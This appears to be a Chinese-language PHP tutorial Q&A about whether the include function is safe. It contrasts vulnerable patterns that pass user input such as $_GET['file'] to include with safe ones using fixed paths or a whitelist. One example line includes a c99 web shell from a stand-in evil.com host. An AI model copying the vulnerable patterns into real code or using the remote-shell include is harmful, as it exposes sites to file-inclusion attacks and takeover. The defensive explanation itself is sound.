PHP – “包含”功能是否安全?
发布时间:2020-12-13 18:25:12 所属栏目:PHP教程 来源:网络整理
导读:我正在使用“include”函数(e.x.“include’head2.php’”或“include’class.users.php’”) 在我的网站中添加标题或会话类.我真的不记得在哪里,但我听说黑客滥用,不知何故,这个“包含”的东西,发送虚假的包含页面或类似的东西. 所以基本上我想知道什么是“
我正在使用“include”函数(e.x.“include’head2.php’”或“include’class.users.php’”)
在我的网站中添加标题或会话类.我真的不记得在哪里,但我听说黑客滥用,不知何故,这个“包含”的东西,发送虚假的包含页面或类似的东西. 所以基本上我想知道什么是“包含”功能,我该如何保护它,它们如何滥用它以及是否有更好的解决方案来满足我的需求. 提前致谢.
这一切都取决于你如何实现它.如果您专门设置路径,那么它是安全的.如果允许用户输入确定文件路径而不进行清理或检查,则可能发生攻击.
不安全(目录遍历) <?php include($_GET['file']); ?> 不安全(URL fopen – 如果启用) <?php include('http://evil.com/c99shell.php'); ?> 不安全 <?php include('./some_dir/' . $_GET['file']); ?> 部分不安全(* .php文件易受攻击) <?php include('./some_dir/' . $_GET['file'] . '.php'); ?> 安全(虽然不确定为什么有人会这样做.) <?php $allowed = array( 'somefile.php','someotherfile.php' ); if (in_array(basename($_GET['file']),$allowed)) { include('./includes/' . basename($_GET['file'])); } ?> 安全 <?php include('./includes/somefile.php'); ?> (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |